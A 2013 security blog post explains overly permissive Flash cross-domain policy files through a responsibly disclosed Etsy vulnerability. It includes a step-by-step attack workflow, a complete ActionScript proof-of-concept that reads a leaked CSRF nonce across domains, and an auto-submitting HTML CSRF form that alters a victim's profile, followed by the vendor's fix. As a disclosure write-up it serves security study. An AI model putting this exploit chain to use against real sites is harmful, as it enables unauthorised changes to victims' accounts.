Why cross-domain policy files are occasionally interesting to look at.

By | July 23, 2013

A cross-domain policy file grants a web client such as a Flash application or a Siverlight application the ability to make a cross-domain request and access the response. As in it allows a Flash application on www.evil.com to make a HTTP request to www.bank.com and read the HTTP response, which may allow an attacker to acquire sensitive information (account information, sensitive messages, CSRF tokens, other junk, etc.) assuming the victim is logged into www.bank.com and the target domain defines an overly permissive cross-domain policy file such as the following. For Flash, the master cross-domain policy file will exist in the root directory of the web server (www.bank.com/crossdomain.xml), but it is also possible that policy files exist under other directories as well assuming the permitted-cross-domain-policies attribute is set properly (the default value is now master-only thus preventing the classic “upload text that looks like a cross-domain policy file to a web-based email client” attack). Read the specification for more info.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*"/>
</cross-domain-policy>


There are some legitimate use cases for defining a cross-domain policy file that allows requests from any domain. Etsy (popular online marketplace for handmade goods) has created an open API that allows developers to create their own applications that hook into Etsy. There is both a normal JSON interface and a JSONP interface (for cross-domain requests via JavaScript). Etsy clearly wants to allow access cross-domain to their API so their Flash cross-domain policy file (http://openapi.etsy.com/crossdomain.xml) use to look something like the following.

<?xml version="1.0"?>
<!DOCTYPE cross-domain-policy SYSTEM "http://www.macromedia.com/xml/dtds/cross-domain-policy.dtd">
<cross-domain-policy>
  <allow-access-from domain="*"/>
  <allow-access-from domain="*.etsy.com"/>
  <allow-access-from domain="etsy.com"/>
</cross-domain-policy>

Consider an example request (requires an API key) and response, the web server normally returns a plaintext response that contains JSON data.

#Request URL - http://openapi.etsy.com/v2/listings/545?api_key=dk2egcjdxvjdoei9eqcxxhqp&method=GET

#Response -
{"count":1,"results":[{"listing_id":545,"state":"expired"}],"params":{"listing_id":"545"},"type":"Listing","pagination":{},"ok":true}

Basically, nothing worth stealing cross-domain, but if we trigger an unhandled exception, the web server returns a HTML response which is suspicious since all the other error messages are provided as plaintext. And, the response contains the CSRF nonce that is associated with www.etsy.com (not good).

#Request URL - http://openapi.etsy.com/v2/listings/545?api_key=dk2egcjdxvjdoei9eqcxxhqp&method=THIS_IS_BOGUS

# Response -
HTTP/1.1 400 Bad Request
... Removed for brevity ...
    <meta name="viewport" content="width=device-width, initial-
scale=1.0">
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="csrf_nonce"
content="vmERUYpOVBfJkSUeZqt2pl58YTU," />
    <meta name="uaid_nonce" content="2:1363851826:o-
mGAbAYN0LAarX736zfMVYzfFhd:trXznCKuhL8QxFmcIOHb7OuFnCDe:8968e9f8
b6deda8013597079ce47cdcc055f8fff" />
    <meta property="fb:app_id" content="89186614300" />
    <meta property="og:site_name" content="Etsy" />
    <meta property="og:locale" content="en_US" />
    <meta name="robots" content="noindex,nofollow" />
    <title>Etsy - Your place to buy and sell all things
handmade, vintage, and supplies</title>
    <style type="text/css">
        .clear:after {
            content: ".";
            display: block;
... Removed for brevity ...

So given that openapi.etsy.com has an overly permissive cross-domain policy, which is not a problem in itself in this case, session identifier cookies are overly scoped, and openapi.etsy.com leaks CSRF tokens used on www.etsy.com, it was possible to bypass the CSRF mitigations implemented on www.etsy.com. The following is the basic workflow of the attack.

1) Victim is logged into www.etsy.com (sessions stay active for about 2 years).
2) Victim visits www.attack.com which includes a Flash application embedded in the page.
3) Flash application attempts to make a HTTP request to openapi.etsy.com to trigger the error page that contains a CSRF token.
4) Flash makes a pre-flight request to openapi.etsy.com/crossdomain.xml to determine whether or not the application should be allowed to make the request stated in the previous step.
5) Given that the policy file allows requests from any domain, the HTTP request goes through. Note that the browser sends along the proper cookies associated with etsy.com since the victim is logged in.
6) The Flash application parses the response for the CSRF token and passes the CSRF token to its parent webpage via JavaScript.
7) The parent webpage builds a CSRF payload with the correct CSRF token and auto submits it to www.etsy.com to perform some random task. Note that I built a HTML based CSRF exploit instead of a Flash based CSRF exploit due to restrictions on how the navigateToURL function can be used.

The following is an example exploit written in ActionScript that can be compiled via mxmlc.

<?xml version="1.0" encoding="utf-8"?>
<s:Application xmlns:fx="http://ns.adobe.com/mxml/2009"
 xmlns:s="library://ns.adobe.com/flex/spark"
 xmlns:mx="library://ns.adobe.com/flex/mx" 
 creationComplete="initApp()">
	<fx:Script>
		<![CDATA[
		import flash.net.*;
		import 	mx.rpc.http.*;
		import mx.rpc.events.*;
		import mx.controls.Alert;
					
		var stream:URLStream = new URLStream();
		private function initApp():void
		{
			stream.addEventListener(HTTPStatusEvent.HTTP_STATUS, httpStatusHandler);
			stream.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHandler);
			stream.load(new URLRequest("http://openapi.etsy.com/v2/listings/545.js?api_key=dk2egcjdxvjdoei9eqcxxhqp&callback=call_func&method=BLAH"));
		}

		private function ioErrorHandler(event:IOErrorEvent):void {
			// Ignore the 400 error.
		}
		
		private function httpStatusHandler(event:HTTPStatusEvent):void {
			var bytesAvailable:int = stream.bytesAvailable;
			var response:String = "";
			var i:int;
			
			for(i = 0; i<bytesAvailable; i++) {
				response += String.fromCharCode(stream.readByte());
			}
			responseArea.text = response;
			
			var csrfTokenIdx:int = response.indexOf("csrf_nonce");
			var csrfToken:String = response.substr(csrfTokenIdx+21,28);
			var jReq:URLRequest = new URLRequest("javascript:passTheToken('"+csrfToken+"')");
			navigateToURL(jReq, "_self");
		}
		]]>
	</fx:Script>
	<s:Group>
	<s:layout>
	<s:HorizontalLayout gap="5" verticalAlign="justify" />
	</s:layout>
	<mx:TextArea id="responseArea" width="400" height="450" text="" />
	</s:Group>
</s:Application>

The parent page contains the Flash exploit application and the HTML CSRF exploit. This example simply changes the user’s profile information.

<html>
	<body>
		<form id="f" action="https://www.etsy.com/your/profile" method="POST" enctype="application/x-www-form-urlencoded">
			<input type="hidden" name="avatar" value="" />
			<input type="hidden" name="gender" value="male" />
			<input type="hidden" name="city3" value="Raleigh, Mississippi" />
			<input type="hidden" name="new_city" value="Raleigh" />
			<input type="hidden" name="new_region" value="Mississippi" />
			<input type="hidden" name="new_countrycode" value="" />
			<input type="hidden" name="new_latlon" value="32.0335,-89.5223" />
			<input type="hidden" name="city3_dup" value="Raleigh, Mississippi" />
			<input type="hidden" name="new_geonamesid" value="" />
			<input type="hidden" name="geonamesid" value="4442797" />
			<input type="hidden" name="birth-month" value="4" />
			<input type="hidden" name="birth-day" value="5" />
			<input type="hidden" name="bio" value="CSRFChangeBioParty" />
			<input type="hidden" name="materials" value="change" />
			<input type="hidden" name="publicize-my-shop" value="on" />
			<input type="hidden" name="publicize-favorite-items" value="on" />
			<input type="hidden" name="publicize-favorite-shops" value="on" />
			<input type="hidden" name="publicize-my-treasuries" value="on" />
			<input type="hidden" name="publicize-my-teams" value="on" />
			<input type="text" name="_nnc" id="_nnc" value="CHANGE_ME" size="40" />
			<input type="hidden" name="action" value="process" />
		</form>
		<script>
		function passTheToken(csrfToken) {
			document.getElementById('_nnc').value = csrfToken;
			setTimeout("document.forms['f'].submit();",1000);
		}
		</script>

		<script type="text/javascript" src="../swfobject.js"></script>
		<script>
			var flashvars = {};
			var params = {};		
			var attributes = {};

			swfobject.embedSWF("etsyToken.swf", "content", "500", "500", "10.0.0", "expressInstall.swf", flashvars, params, attributes);
		</script>
		<script type="text/javascript" src="../swfobject.js"></script>
		<div id="content">
			<p>Get Flash because otherwise the exploit doesn't work :(</p>
		</div>
	</body>
</html>

So how did Etsy fix the vulnerability (and yes I am being responsible).

  • Remove the CSRF token from the error page (get rid of the specific information leakage issue).
  • Change the cross-domain policy for Flash to only allow cross-domain requests from etsy.com subdomains.

Restricting only the Flash cross-domain policy was an interesting choice given the nature of the API and since they did not change the Silverlight cross-domain policy (clientaccesspolicy.xml), which still allows requests from any domain. In this specific case, the server responds with a 400 Bad Request status code, which means that a Siverlight application using the Browser HTTP handling mode would not be able to read the HTTP response regardless of the cross-domain policy (MSDN contains good information about Client vs. Browser mode for Siverlight applications). Flash contains no such restriction for cross-domain requests, which highlights another subtle different between how Flash and Siverlight handle cross-domain requests differently.